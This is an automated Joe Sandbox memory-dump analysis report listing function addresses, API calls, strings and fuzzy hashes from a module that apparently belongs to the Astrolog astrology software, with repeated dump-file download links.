Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %.3s $%s %s
API String ID: 1467051239-4011350262
Opcode ID: 3a6012aa73335b6bc09c64e7c773b844f9f92b252086b889417ef8f686d4ba27
Instruction ID: 44aa1ceab49a6b4a6fa93ea56e6f411c26245966c50b23cf9970ca342c1fff97
Opcode Fuzzy Hash: 3a6012aa73335b6bc09c64e7c773b844f9f92b252086b889417ef8f686d4ba27
Instruction Fuzzy Hash: EDC12572D0C629CBCF21CF68DA851AEBBF5FF46318B35099AC4558BE44DB349885CB90

Function 6C838968 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

_fgets.LIBCMT ref: 6C8389D2
_fgets.LIBCMT ref: 6C838A2A

Strings

.;C:\Astrolog\, xrefs: 6C838994
seleapsec.txt, xrefs: 6C83899D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fgets
String ID: .;C:\Astrolog\$seleapsec.txt
API String ID: 819643241-2793432698
Opcode ID: 8ccfe1862a3afad8970c90f93bb50826fe51ddd7a13d5c24555fe3a666aa33eb
Instruction ID: eee5935bf8cc21ceb76ed3165cb76f897c169fd1a19563c32e6dd3e74d6508fd
Opcode Fuzzy Hash: 8ccfe1862a3afad8970c90f93bb50826fe51ddd7a13d5c24555fe3a666aa33eb
Instruction Fuzzy Hash: 44212672A092399EDB308A69CE417DA7BB59B06318F203C77C499D3E40EB74D9C5C792

Function 6C8218B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C8218E3
_sprintf.LIBCMT ref: 6C821901

Strings

parameter #%d of , xrefs: 6C8218DD
Value %d passed to %sswitch %c%s out of range., xrefs: 6C8218FB

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: Value %d passed to %sswitch %c%s out of range.$parameter #%d of
API String ID: 1467051239-1376851334
Opcode ID: 307de05fafa1066dc058214d1b1266af2ad3217e5eab4fd0ce930ebba83a12a7
Instruction ID: d65acb16a35ef51181d8152d5356101fb112ba2d83d63328bc41f26883833db5
Opcode Fuzzy Hash: 307de05fafa1066dc058214d1b1266af2ad3217e5eab4fd0ce930ebba83a12a7
Instruction Fuzzy Hash: F1014F3190125DABCF20DEA8CE459EEB7B8AB05208F504C76A515AAB00EB35DA89D791

Function 6C86085F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37windowCOMMON

Download Yara Rule

APIs

DialogBoxParamA.USER32(000000CC,Function_0005A3C0), ref: 6C860880
_wprintf.LIBCMT ref: 6C860891
CheckMenuItem.USER32(00009C83,?,6C91DBA0), ref: 6C8610E8

Strings

%d, xrefs: 6C86088C

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: CheckDialogItemMenuParam_wprintf
String ID: %d
API String ID: 343476775-545462948
Opcode ID: 8949ec93196a0b2be8a10da09d36f07e5607717d0641fe381d14df27589400c9
Instruction ID: 918d3db1ac59f37da32da5199501613aaf267fa04f6af54046397155fcf765ae
Opcode Fuzzy Hash: 8949ec93196a0b2be8a10da09d36f07e5607717d0641fe381d14df27589400c9
Instruction Fuzzy Hash: A2F0AF323551449BDF328F66ED42E9ABBB1E747B59B30482AE02182E91C7359400DF91

Function 6C821A50 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C821A7C
_sprintf.LIBCMT ref: 6C821A93

Strings

Ephemeris file %s not found., xrefs: 6C821A76
Seek error in file %s at position %ld., xrefs: 6C821A8D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: Ephemeris file %s not found.$Seek error in file %s at position %ld.
API String ID: 1467051239-511660742
Opcode ID: ba88bc2eb9b4dd25b108ae3fa0b419ea2e8aee7847ce0fc2f65f512114d71a0c
Instruction ID: 260327ce6cb27c72ad9fb779c438c3bd1fe6f50e3d6d6b7aacfd471cdb02fa44
Opcode Fuzzy Hash: ba88bc2eb9b4dd25b108ae3fa0b419ea2e8aee7847ce0fc2f65f512114d71a0c
Instruction Fuzzy Hash: 82F068B2901108BADF20DF98CA45FDE73B89B04348F104835E4166BB45DB79EA8CC7D1

Function 6C878EBB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 6C878F0B

Strings

/Courier[%d 0 0 -%d 0 0]sf, xrefs: 6C878F00
/Astro[%d 0 0 -%d 0 0]sf, xrefs: 6C878EE2
/Times-Roman[%d 0 0 -%d 0 0]sf, xrefs: 6C878EF5

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf
String ID: /Astro[%d 0 0 -%d 0 0]sf$/Courier[%d 0 0 -%d 0 0]sf$/Times-Roman[%d 0 0 -%d 0 0]sf
API String ID: 1654120334-2185384684
Opcode ID: cc87da518fa93de44fd62de1163028545dd8620ffd0a0fe048fcdf3ef06c1955
Instruction ID: ddc47bf990d26b17653aaf936d1c35f60f5ff9539ee70e83f08909a5d454baab
Opcode Fuzzy Hash: cc87da518fa93de44fd62de1163028545dd8620ffd0a0fe048fcdf3ef06c1955
Instruction Fuzzy Hash: 7CF03772B442186AEB315519DF41FAF616AD31B35CF010D27F830B7A90F3659C8585B5

Function 6C821814 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C82183B
MessageBoxA.USER32(?,?,00000030), ref: 6C821850

Strings

%s Error, xrefs: 6C821835
Astrolog, xrefs: 6C82182D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Message_sprintf
String ID: %s Error$Astrolog
API String ID: 997493000-1827282765
Opcode ID: 30d589d7fe87635d4efe902c622eb6dcd547298f337c39b1a98888accad7fab1
Instruction ID: f6da2c6aa99450810ed744d509b50e2438995281481f02029aa30cddd402dd97
Opcode Fuzzy Hash: 30d589d7fe87635d4efe902c622eb6dcd547298f337c39b1a98888accad7fab1
Instruction Fuzzy Hash: AEE09B70A0110CABCF20DBE5DA45F9EB7B8EB0634CF500836A51297B44DB749A08C7C1

Function 6C89E900 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6C89E934
__isleadbyte_l.LIBCMT ref: 6C89E967
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,00000000,00000000,?,?,?,?,?,00000000), ref: 6C89E998
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6C89EA06

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 13acdd4444dfc6c61c9af8e1c8fc77cc6ecf31c825852020ae15062d5a9ab08f
Instruction ID: 6f42649b7464cf047106ed3a11ee6af50cb8e2cc0e01b032b6f28883af08d016
Opcode Fuzzy Hash: 13acdd4444dfc6c61c9af8e1c8fc77cc6ecf31c825852020ae15062d5a9ab08f
Instruction Fuzzy Hash: 3131C431A05655EFDF60CF6CC984AAA7FB5BF02314F144D69E4A48BA91E730E940CB90

Function 6C897DF3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 6C897E19

Part of subcall function 6C897C08: __fltout2.LIBCMT ref: 6C897C33

__cftog_l.LIBCMT ref: 6C897E3F
__cftoe_l.LIBCMT ref: 6C897E71

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction ID: 89b817a54b4560b57b9772ae2481ff3818d6fc132657cdfefdc99ec140430331
Opcode Fuzzy Hash: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction Fuzzy Hash: 8D117B7240018EFBCF224E88CE41CEE3F22BB09758B158815FA2858530C736C9B5AB81

Function 6C862AF2 Relevance: 6.0, APIs: 4, Instructions: 42windowsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6C862AC3: _sprintf.LIBCMT ref: 6C862ADD

CheckMenuItem.USER32(00009C83,00000000), ref: 6C862B31
InvalidateRect.USER32(00000000,00000001), ref: 6C862B46
PostMessageA.USER32(00000111,00009D1F,00000000), ref: 6C862B5E
Sleep.KERNEL32(000007D0), ref: 6C862B69

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: CheckInvalidateItemMenuMessagePostRectSleep_sprintf
String ID:
API String ID: 2941867158-0
Opcode ID: 4a7602fac5a28dbab06b4927eb5ff293e7ef859cdd4c5da3aaa47a657a98cf33
Instruction ID: 0bc1e5c6cabfaaf62d29d5cbc2dc6f6ca3693c57a28ea141a133c4dac1086944
Opcode Fuzzy Hash: 4a7602fac5a28dbab06b4927eb5ff293e7ef859cdd4c5da3aaa47a657a98cf33
Instruction Fuzzy Hash: 23016D32344215BBDB219BA5AE8AF4A7AB4E707B99F300436F701A6A90C7B45401CB94

Function 6C816E7C Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 451COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6C816FF7
__floor_pentium4.LIBCMT ref: 6C817303

Strings

Z, xrefs: 6C817224

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4_memmove
String ID: Z
API String ID: 1533020526-1505515367
Opcode ID: 7e213410fd0f89e972863398c3cf0f118832a8678860f63cee6f6d70b5ed4565
Instruction ID: 1b26a24c502dd7473115cf1db82067cd14d3d2e56a5d6f3b6fe4975ee9864608
Opcode Fuzzy Hash: 7e213410fd0f89e972863398c3cf0f118832a8678860f63cee6f6d70b5ed4565
Instruction Fuzzy Hash: 4EF15773A1CA19D7DB22AA24D94628937F4F74A720F360EA8D4C657FD0DF3648A4C784

Function 6C84045B Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 234COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C8404F6

Strings

No librations on the ephemeris file;, xrefs: 6C840563
No nutations on the JPL ephemeris file;, xrefs: 6C8404EE

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: No librations on the ephemeris file;$No nutations on the JPL ephemeris file;
API String ID: 1467051239-2462679454
Opcode ID: 6db5c010288e13ee76a36645a429742a5874e808b696cef7aae06465a1aed783
Instruction ID: a6ad49cc8cc4dbc3821895967268ee329cca54f79fcfa41a02c16761d3ef3b73
Opcode Fuzzy Hash: 6db5c010288e13ee76a36645a429742a5874e808b696cef7aae06465a1aed783
Instruction Fuzzy Hash: CF811432D0424DDBDF249FA8DA849DFB7B2FB98318F168D66E855BB650DB305890CB40

Function 6C8ABA14 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__handle_exc.LIBCMT ref: 6C8ABAC4
__ctrlfp.LIBCMT ref: 6C8ABB24

Strings

V , xrefs: 6C8ABB39

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
